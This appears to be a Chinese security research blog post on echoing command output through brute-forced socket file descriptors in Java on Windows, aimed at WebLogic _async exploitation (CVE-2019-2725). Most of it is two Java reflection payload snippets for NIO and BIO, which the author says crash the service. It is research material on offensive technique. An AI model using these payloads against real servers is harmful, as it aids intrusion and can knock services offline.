win描述符下成功又失败的回显
2020-04-17 10:40:38 Author: xz.aliyun.com(查看原文) 阅读量:244 收藏

前言

之前有linux文件描述符回显了,当时搞出来后,就想着接着搞win。因为比较忙搁置了一段时间。后续又接着搞了下,因为我觉得这个回显是jdk级别的,不需要专门研究一个应用再去回显。

并且还可以针对异步服务进行回显。

为什么是失败的,因为回显后服务会挂。

linux上的返回方式不行

在win上,是无法像linux上使用如下方式进行回显。

FileOutputStream os = new FileOutputStream(fd);
os.write(ret.getBytes());

于是就去看socket的实现。

模拟socket返回结果

需要了解java IO分成三种BIO、NIO、AIO。文中实现了BIO和NIO两种回显。

在 win32 的实现中将 创建好的 文件句柄 设置到 handle 字段,在 linux 版本中则使用的是 FileDescriptor 的 fd 字段。

坑:在实现过程中我谷歌了一些资料,加上我以前的一些认知,我以为上面的内容是真的,在win上要设置一直handle字段,一直没有实现任何回显。于是仔细看了下win下BIO的实现,还是设置FileDescriptor 的 fd 字段。

这个过程比较简单,大家看下socket 写的实现就好了,就直接上源码了。

spring boot之前测试记忆中是NIO。

NIO socket返回。

for (int i=0;i<10000;i++){
    try {
        byte[] buff = new byte[]{0x61,0x61};

        Class class1 = Class.forName("java.nio.HeapByteBuffer");
        Constructor constructor1 = class1.getDeclaredConstructors()[1];
        constructor1.setAccessible(true);
        Object heapByteBuffer = constructor1.newInstance(buff,0,2);


        Class class2 = Class.forName("sun.nio.ch.SocketChannelImpl");
        java.lang.reflect.Field nd = class2.getDeclaredField("nd");
        nd.setAccessible(true);

        Class class3 = Class.forName("sun.nio.ch.IOUtil");
        Method write = class3.getDeclaredMethods()[1];
        write.setAccessible(true);

        FileDescriptor fd = new FileDescriptor();
        java.lang.reflect.Field field = FileDescriptor.class.getDeclaredField("fd");
        field.setAccessible(true);
        field.set(fd, i);

        System.out.println(new FileInputStream(fd).getChannel());
        write.invoke(null,new Object[]{(FileDescriptor)fd, class1.cast(heapByteBuffer), -1L, nd.get(null)});

    }catch (Exception e){
        System.out.println(e);
    }

}

weblogic _async/AsyncResponseService 回显

一开始我以为_async/AsyncResponseService 是无法回显的,在我搞出cve-2019-2725回显之后,看过一张别人把_async/AsyncResponseService回显的截图。我就一直寻思着怎么把_async/AsyncResponseService回显了。

weblogic使用的是BIO进行回显的

模拟BIO

for (int i=0;i<10000;i++) {
    try {
        Class class1 = Class.forName("java.net.SocketOutputStream", false, null);
        java.lang.reflect.Constructor constructor1 = class1.getDeclaredConstructors()[0];
        constructor1.setAccessible(true);

        java.lang.reflect.Method write = class1.getDeclaredMethod("write",new Class[]{byte[].class});
        write.setAccessible(true);

        java.io.FileDescriptor fd = new java.io.FileDescriptor();
        java.lang.reflect.Field field = java.io.FileDescriptor.class.getDeclaredField("fd");
        field.setAccessible(true);
        field.set(fd, new Integer(i));

        Class class2 = Class.forName("java.net.PlainSocketImpl");
        java.lang.reflect.Constructor constructor2 = class2.getDeclaredConstructor(new Class[]{java.io.FileDescriptor.class});
        constructor2.setAccessible(true);

        Object socksSocketImpl = constructor2.newInstance(new Object[]{fd});

        Object socketOutputStream = constructor1.newInstance(new Object[]{socksSocketImpl});

        write.invoke(socketOutputStream,  new Object[]{new byte[]{0x61, 0x61}});
    }catch (Exception e){
        System.out.println(e);
    }
}

总结

回显是回显了,但是weblogic服务会崩,win下socket的文件描述符如何确定,暂时没有一个好的思路,只能暴力猜解。有想法的朋友可以一起交流下。


文章来源: http://xz.aliyun.com/t/7566
如有侵权请联系:admin#unsafe.sh